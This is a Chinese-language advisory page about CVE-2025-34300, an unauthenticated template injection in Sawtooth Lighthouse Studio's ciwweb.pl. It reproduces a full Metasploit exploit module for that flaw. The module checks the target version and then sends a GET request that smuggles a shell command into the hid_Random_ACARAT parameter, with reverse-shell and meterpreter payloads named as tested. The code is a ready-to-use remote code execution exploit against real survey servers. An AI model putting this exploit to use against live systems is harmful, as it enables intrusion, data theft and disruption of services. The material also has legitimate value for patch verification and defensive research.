Sawtooth Software Lighthouse Studio 模板注入漏洞

漏洞信息

漏洞名称: Sawtooth Software Lighthouse Studio 模板注入漏洞

漏洞编号:

  • CVE: CVE-2025-34300

漏洞类型: 服务端模板注入

漏洞等级: 高危

漏洞描述: Sawtooth Software的Lighthouse Studio是一款广泛用于市场调研和数据分析的软件,它提供了一个web应用程序ciwweb.pl,用于管理和执行调查。该软件在企业级市场调研中有着广泛的应用。

该漏洞存在于Lighthouse Studio的ciwweb.pl web应用程序中,属于服务端模板注入漏洞。由于应用程序未能正确清理用户输入在调查模板中的使用,攻击者可以注入并执行任意的Perl命令。这种漏洞的技术根源在于输入验证不足,允许攻击者绕过预期的输入限制,直接向服务器提交恶意代码。

成功利用此漏洞的攻击者可以在目标系统上执行任意系统命令,执行权限与运行web服务器的用户相同。这意味着攻击者可以访问敏感数据、破坏调查操作,甚至可能进一步入侵系统。由于此漏洞允许未经验证的远程代码执行,且可以自动化利用,因此构成了严重的安全风险。

产品厂商: Sawtooth Software

产品名称: Lighthouse Studio

影响版本: version < 9.16.14

来源: https://github.com/rapid7/metasploit-framework/blob/6e5d474b21a52c82218fec11a90892976c618bff/modules%2Fexploits%2Fmulti%2Fhttp%2Flighthouse_studio_unauth_rce_cve_2025_34300.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => "Template Injection Vulnerability in Sawtooth Software's Lighthouse Studio (CVE-2025-34300)",
'Description' => %q{
This module exploits a template injection vulnerability in the
Sawtooth Software Lighthouse Studio's `ciwweb.pl` web application.
The application fails to properly sanitize user input within survey templates,
allowing unauthenticated attackers to inject and execute arbitrary Perl commands
on the target system.

This vulnerability affects Lighthouse Studio versions prior to 9.16.14.
Successful exploitation may result in remote code execution under the privileges
of the web server, potentially exposing sensitive data or disrupting survey operations.

An attacker can execute arbitrary system commands in the context of the user running the web server.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Adam Kues' # Vulnerability Discovery
],
'References' => [
['CVE', '2025-34300'],
['URL', 'https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/']
],
'Platform' => ['multi'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => ['windows'],
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'FETCH_WRITABLE_DIR' => 'C:\\\\Windows\\\\Tasks\\\\'
}
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-07-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Path to vulnerable ciwweb.pl', '/cgi-bin/ciwweb.pl']),
OptString.new('STUDYNAME', [false, 'Value for the hid_studyname GET parameter', '']),
]
)
end

def check
print_status('Extracting version...')

vars = {
'hid_javascript' => '1'
}
vars['hid_studyname'] = datastore['STUDYNAME'] unless datastore['STUDYNAME'].strip.empty?

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'vars_get' => vars
)
return CheckCode::Unknown('No response from target') unless res

if res.body =~ /Lighthouse Studio (\d+_\d+_\d+)/
version_match = Regexp.last_match(1).to_s
version = Rex::Version.new(version_match.gsub('_', '.'))
print_status("Extracted version: #{version}")

return CheckCode::Appears if version < Rex::Version.new('9.16.14')
else
print_error("#{peer} - Unable to extract version number")
end

html = res.get_html_document
if html&.text&.include?('Lighthouse Studio')
return CheckCode::Detected
end

CheckCode::Safe
end

def exploit
print_status('Uploading malicious payload...')

cmd = Rex::Text.uri_encode(payload.encoded).gsub('\\', '%5C').gsub('/', '%2F')
cmd = "cmd.exe%20/q%20/c%20\"#{cmd}\"" if target['Type'] == :win_cmd

query = [
'hid_javascript=1',
"hid_Random_ACARAT=[%`#{cmd}`%]",
"hid_Random_ACARAT=#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
]

query << "hid_studyname=#{datastore['STUDYNAME']}" unless datastore['STUDYNAME'].strip.empty?
query_string = query.join('&')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'query' => query_string
})

if res
html = res.get_html_document
if html&.text&.include?('Cannot find default studyname')
fail_with(Failure::BadConfig, 'The STUDYNAME value is invalid')
end
end
end
end



Sawtooth Software Lighthouse Studio 模板注入漏洞
http://example.com/2025/07/24/github_434967193/
作者
lianccc
发布于
2025年7月24日
许可协议